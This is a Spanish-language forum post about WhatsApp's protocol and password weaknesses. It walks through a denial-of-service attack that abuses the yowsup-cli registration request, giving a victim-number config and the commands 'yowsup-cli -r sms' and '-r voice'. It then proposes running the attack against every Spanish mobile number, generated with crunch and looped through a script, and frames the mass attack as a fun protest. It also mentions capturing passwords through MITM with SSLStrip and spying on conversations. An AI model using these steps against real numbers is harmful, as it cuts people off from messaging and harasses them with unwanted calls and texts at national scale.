Sé que he pegado un parón importante en mis aportaciones. Es sólo ahora en fiestas, que tengo algo de tiempo para trastear un poco.
Queria realizar algunas reflexiones sobre el dichoso whatsapp, aplicacion presente en millones de telefonos moviles y que sirve como base para la comunicación diaria entre personas a todo tipo de distancias, desde vecinos hasta amigos en el otro lado el planeta.
Realmente es una aplicación cuya seguridad podria poner en compromiso a mucha gente...
Como ya sabreis, se descubrió que whatsapp en realidad utiliza una version tuneada el protoloco XMPP, el mismo que usa jabber, goole talk, e incluso facebook para su chat.
Esto, al principio, se supo gracias a un simple sniffer, ya que todas las conexiones viajaban sin cifrar (tocate los raviolli)
la identidad del telefono se autentica durante la primera vez, por mecanismos como un sms o una llamada de voz, cosas que solo puedes recibir cuando tienes la sim. por lo tanto, la primera vez, es obvio que necesitas tener esa sim a mano y operativa.
pero, si alguna vez habeis cambiado la tarjeta sim habitual del telefono por otra, habreis visto que whatsapp sigue funcionando perfectamente con la identidad del numero anterior, aunque la sim insertada sea de otro numero. esto es porque whatsapp se identifica con un nombre de usuario y una contraseña en sus servidores, los cuales obtiene durante el proceso de autenticacion de la primera vez, pero luego no necesita en absoluto la tarjeta sim dado que el password esta ya almacenado en la config.
en otras palabras: podrias perder la sim y seguir usando whatsapp con la misma identidad (numero de telefono).
volviendo al tema de las conexions sin cifrar de whatsapp, esto se arregló hace ya algun tiempo, pasando a usar ssl.
huelga decir que sslstrip permite a los investigadores seguir observando el protocolo de whatsapp y sus cambios entre versiones, pero uno se queda un poco mas tranquilo al saber que se usa SSL. despues de todo, no hay muchas personas ahi fuera capaces de realizar un ataque MITM + SSLStrip.
pero aun asi, despues de mejorar la seguridad de la conexion, quedaban mas vectores abiertos. vectores evidentes y enormemente comprometedores.
alguien puso una contraseña en su whatsapp para iniciar sesion? NO.
pues eso, tal como cifrados determina el algoritmo para conocer la clave por defecto de la wifi de los routers, que suele estar basada en su mac etc., otros grupos de investigadores determinaron que cada telefono se conectaba a whatsapp con una combinacion de usuario + contraseña que tenian que ser deducibles ya que el usuario no las elegía.
se llegó a saber que el nombre de usuario es el telefono precedido del código de pais (346xxxxxxxx o 347xxxxxxxx en el caso de moviles españoles) y que la contraseña estaba basada en diferentes variables en función del sistema operativo:
windows phone: DeviceUniqueID
android y BB: IMEI
iphone: mac del adaptador wifi
a dichas variables luego se les pasaba un algoritmo md5 y poco mas que contar. con eso ya tenias la clave de acceso a whatsapp de un determinado usuario. especialmente en el caso de los iphones, ya que con un simple sniffer puedes conocer la mac.
en el caso de android, tampoco era muy dificil: acercarse al terminal a pulsar *#06# y anotar el IMEI en pantalla era todo lo que tenias que hacer.
asi pues: las contraseñas eran basadas en variables conocidas y procesadas por algoritmos conocidos. eso y nada es lo mismo.
en esta situacion, y gracias a implementaciones abiertas de la api de whatsapp diseñadas por terceros, (que conste que whatsapp no ha liberado su api, sino que ha sido "reverse-enginered"), se ha podido durante algun tiempo espiar con total impunidad cualquier conversacion de whatsapp de cualquier usuario, incluyendo el envio y recepcion de fotos (ya, ya se lo que estais pensando... menudo festival...).
video que ilustra el festival, cortesia de SbD...
http://www.youtube.com/watch?v=0YbV3Xex42I
en la actualización mas reciente de whatsapp, se ha pasado a un modelo algo mas seguro cuyo workflow es como sigue:
* pides el registro de tu numero, enviando tu numero a los servidores de whatsapp junto con la peticion de registrarse, la cual puedes solicitar por sms o por voz (este paso es como siempre fue)
* recibes un codido numerico del tipo XXX-XXX (mas o menos como siempre tambien, aunque ahora lo han mejorado para evitar el bruteforcing, antes tenia solo XXX. tambien realizan un throttling para evitar que se haga bruteforcing: mas de 3 intentos fallidos seguidos = un minuto de descanso. este vector es seguro.)
* envias la validación a los servidores de whatsapp, que se compone de nuevo de tu identidad (346xxxxxxxx) mas el codigo de validación que te enviaron ellos por sms o por llamada de voz automatica.
- en versiones anteriores habilitaron una posible validacion por email, para casos extremos donde no llegaba la llamada ni el sms, pero eso era una estupidez ya que eso no valida realmente el número; eso permitió a mucha gente vincular cuentas falsas de whatsapp a emuladores de android en los pc's. asi que lo han quitado. otro vector asegurado. bien.
* cuando el servidor recibe tu validación, y si esta es correcta, te responde entregándote un password que la aplicacion de tu movil debe guardar para identificarse correctamente a partir de ese momento. así es como el teléfono queda vinculado a ese numero, y si tratases de vincular un nuevo terminal al mismo numero cambiando la sim, ahora se genera una contraseña diferente cada vez, lo cual invalida el whatsapp del primer telefono en favor del whatsapp del mas reciente). basicamente la mejora en seguridad de esta ultima actualizacion es esa, que se ha dejado de usar un formula predecible para generar las contraseñas. todavia no se sabe si es calculable en base a otras cosas, o por lo menos limitable a un rango asequible de combinaciones (quizas han hecho versiones "salted" con progresiones numericas predecibles de la particula "salt" antes de aplicar el algoritmo)
esto cierra bastante la posibilidad del espionaje, etc. pero imagino que si usamos un mitm+ssl strip y la victima se conecta a dicha red, podremos capturar el proceso de logueado y el password sin dificultades. no lo probé, pero por deducción lógica digo yo que sí.
vectores que sigo viendo abiertos
DoS de whatsapp a un numero o lista de numeros
Veamos cómo:
descargamos yowsup; una implementación en python de la api de whatsapp, que nos permitirá interaccionar con el servicio desde nuestros scripts.
https://github.com/tgalal/yowsup/archive/master.zip
descomprimid el zip y entrad en el directorio 'src' dentro del directorio base. ahi está todo.
nos aseguramos de tener los requisitos que indica en el readme, estos son obviamente python y un par de modulos de python como libxml y poco mas. muy probablemnete ya los tengais en el sistema. si no, los errores son tan autoexplicativos que no tendreis problema en diagnosticarlos y resolverlos.
yowsup incluye ya un programa de tipo consola de comandos, llamado yowsup-cli, el cual nos va a venir de perlas para acelerar todo el proceso, en lugar de programarlo todo a bajo nivel. nosotros nos vamos a limitar a interacionar con el intérprete de comandos de yowsup mediante otro script creado por nosotros o bien a mano.
Esta es la ayuda del interprete de comandos yowsup-cli. como veis, puede hacer casi de todo:
Código:
usage: yowsup-cli [-h] [-l | -s <phone> <message> | -i <phone>] [-w] [-a] [-k]
[-r (sms|voice) | -R code | -e]
[--generatepassword input | --decodestring encoded_array]
[--help-config] [--v1] [-c file] [-D] [-d] [-v]
yowsup-cli Command line options
optional arguments:
-h, --help show this help message and exit
--help-config Display info about configuration format
--v1 If specified, it will force usage of old API in
registration calls. Also password field in config will
be ignored and will attempt to generate password from
specified identity (IMEI/MAC)
-c file, --config file
Path to config file containing authentication info.
For more info about config format use --help-config
-D, --dbus Start DBUS interface
-d, --debug Enable debug messages
-v, --version Print version info and exit
Client options:
-l, --listen Listen to messages
-s <phone> <message>, --send <phone> <message>
Send message to phone number and close connection.
Phone is full number including country code, without
'+' or '00'
-i <phone>, --interactive <phone>
Start an interactive conversation with a contact.
Phone is full number including country code, without
'+' or '00'
-w, --wait If used with -s, then connection will not close until
server confirms reception of the message
-a, --autoack If used with -l or -i, then a message received ack
would be automatically sent for received messages
-k, --keepalive When used with -l or -i, Yowsup will automatically
respond to server's ping requests to keep connection
alive
Registration options:
-r (sms|voice), --requestcode (sms|voice)
Request the 3 digit registration code from Whatsapp.
-R code, --register code
Register account on Whatsapp using the provided 3
digit code
-e, --exists Check if account credentials are valid. WARNING:
Whatsapp now changes your password everytime you use
this. Make sure you update your config file if the
output informs about a password change
Debug tools:
--generatepassword input
Generate password from given string in same way
Whatsapp generates it from a given IMEI or MAC Address
--decodestring encoded_array
Decode byte arrays found in decompiled version of
Whatsapp. Tested with S40 version. Input should be
comma separated without the enclosing brackets.
Example: ./yowsup-cli --decodestring
112,61,100,123,114,103,96,114,99,99,61,125,118,103
una vez en el directorio src dentro del directorio yowsup, añadid el bit de ejecutable a yowsup-cli, para facilitar las cosas.
chmod a+x yowsup-cli
ahora tenemos que comprender un poco como funciona yowsup en general.
yowsup necesita un fichero de config operativo, que puede tener hasta 3 parámetros. en función de los parámetros que seamos capaces de documentar, seremos capaces de realizar todas las opciones, o solo un conjunto limitado de las mismas.
un fichero de config tiene este formato, incluyendo las descripciones del autor que tambien son muy explicativas y aclaradoras:
Código:
######## Yowsup Configuration file #####################
# Lines are commented using # and ;
# Your configuration should contain info about your login credentials to Whatsapp. This typically consist of 3 fields:\n
# phone: Your full phone number including country code, without '+' or '00'
# id: This field is used in registration calls (-r|-R|-e), and for login if you are trying to use an existing account that is setup
# on a physical device. Whatsapp has recently deprecated using IMEI/MAC to generate the account's password in updated versions
# of their clients. Use --v1 switch to try it anyway. Typically this field should contain the phone's IMEI if your account is setup on
# a Nokia or an Android device, or the phone's WLAN's MAC Address for iOS devices. If you are not trying to use existing credentials
# or want to register, you can leave this field blank or set it to some random text.
# password: Password to use for login. You obtain this password when you register using Yowsup.
######################################################
## Actual config starts below ##
phone=34612456789
id=812345678908
password=zYQYEt/oYbWIDpGBN2oVGRzeHvY=
el id , de momento no nos puede servir de mucho ya que ahora no está basado en cosas que conozcamos, tal como pasaba antes.
si luego el debate se inclina hacia el id, puedo explicar algunas cosas mas sobre él, pero para el caso práctico que nos ocupa, lo dejamos estar.
el phone, es obvio. es el numero de telefono en nombre del cual realizamos la operacion.
el password, otra obviedad, es el password que previamente whatsapp nos entregó durante el proceso de validación de numero. es ese dato mágico que antes podiamos calcular fácilmente y que nos permitia espiar conversaciones de otros hasta hace poco, pero que ahora ha mejorado su seguridad.
entonces, ahora mismo, el unico dato de una posible victima que sabemos con una seguridad del 100% es su numero de telf.
qué operaciones podemos hacer sobre los servidores de whatsapp sabiendo solo un numero de telf?
pues...
solicitar el (re)registro del numero en whatsapp!!
si solicitamos el codigo de validación para un numero, se enviara un sms o se realizara una llamada al titular del numero, dependiendo de por qué via queramos procesar la validacion.
durante este proceso, y hasta que el titular del numero vuelva a validar su identidad, su instalacion de whatsapp queda en un estado zombie, por lo menos en el momento de escribir estas linas y probando con android. es necesario borrar todos los datos de la aplicación y esperar un buen rato antes de poder volver a pedir un codigo de validación (porque claro, el anterior codigo de validacion que habremos recibido involuntariamente por sms o por llamada, no nos servirá de nada, ya que no fue nuestro whatsapp quien lo pidió, sino un atacante realizando el DoS, y por lo tanto nuestro whatsapp no estaba preparado para procesarlo).
para resolver esto, tenemos que borrar todos los datos de la aplicacion y luego reabrirla. whatsapp obviamente presentará la interfaz de registro de numero, pero si tratamos de solicitar un codigo de validacion, nos mostrará un error "parece que la aplicacion ha sido modificada, descargue la ultima version". Este mensaje es incorrecto, y aparece porque ha pasado demasiado poco tiempo desde que la victima solicitó un codigo de validación para nuestro número. tenemos que esperar a que el throttling nos deje pasar (lo siento, no he medido el tiempo, pero teneis un ratillo de espera, mas de 7000 segundos segun puedo observar en las respuestas del protocolo). Cuando haya pasado un tiempo, se puede volver a solicitar el codigo, esta vez de manera legitima desde la aplicacion whatsapp, y esperar a que llegue el sms de validacion, volviendo asi a asociar nuestra cuenta con un nuevo password en nuestro telefono... hasta que nos ataquen de nuevo LOL.
a la práctica de comandos desde el diretorio src de yowsup (ver la ayuda de yowsup mas arriba para entenderlo mejor):
./yowsup-cli -r sms -c /ruta/a/un/fichero/config/valido
o bien
./yowsup-cli -r voice -c /ruta/a/un/fichero/config/valido
(mas molesta la segunda opcion ya que la victima recibirá la llamada involuntaria de whatsapp entregándole un codigo dictado por sintesis de voz)
donde el fichero de config valido debe tener esta estructura:
Código:
# aqui va el teléfono de la victima a la que queremos dejar sin servicio
phone=346xxxxxxxx
# id en blanco porque no la necesitamos para solicitar la validacion de numeros
id=
# password en blanco porque no lo necesitamos para solicitar la validacion de numeros
password=
tambien podeis saltaros el parametro -c y no indicar un fichero de config, siempre y cuando tengais un fichero con exactamente la misma estructura en ~/.yowsup/auth . ante la ausencia de instrucciones en ese sentido, yowsup buscará esa config por defecto y entonces podréis usar yowsup-cli de forma más sencilla:
Código:
./yowsup-cli -r voice
vamos mas allá... pongamos que somos unos cabr*~|@# y que queremos molestar a todiós esta nochevieja...
aplicando el DoS masivamente a un pais (LOL)
He generado una lista de todos los numeros de teléfono posibles de españa, incluyendo los nuevos 722 723 y 724, usando la tabla de prefijos que se puede descargar de la web de la CMT.
con un poco de tratamiento de flujos de texto, con la ayuda de cut y de tr, obtengo esto:
http://pastebin.com/Ht2dYAma
lo cual, adaptado un poquito al sistema de patronaje del generador de wordlists crunch, da como resultado esto:
http://pastebin.com/hLrBVEUP
y con un script muy simple como este:
http://pastebin.com/LmQRktZW
procesamos la lista de patronajes de crunch, uno por uno, para concatenar la salida de las diferentes llamadas a crunch en un fichero unificado llamado telefonos-es.db, que contiene TODOS los moviles españoles, asi que con toda seguridad está vuestro teléfono móvil (no perdáis el tiempo comprobándolo, creedme; si es español, está ahi).
El total de posibilidades es grande:
alex@laptop01:~/tmp/cmt$ wc -l telefonos-es.db
111000000 telefonos-es.db
ciento once millones. wow.
obviamente no estan todos en uso a la vez, pero la numeración actual contempla esas posibilidades.
Ahora ya tenemos la lista de targets. Si realizamos un script que modifique o cree el fichero de config de yowsup en cada iteración a partir de esta lista, y que vuelva a enviar la solicitud de registro en cada vez con la identidad que hay en el config en ese momento, estaremos tirando uno por uno todos los whatsapps del país, haciendoles recibir sms o llamadas involuntarias y dejando sus conexiones a whatsapp KO hasta que resuelvan el problema.
podría ser legendario, una gran forma de protestar contra la pésima seguridad de whatsapp...
estoy picando el código de esa prueba de concepto. alquien querrá verlo cuando lo acabe?
salu2,
alist3r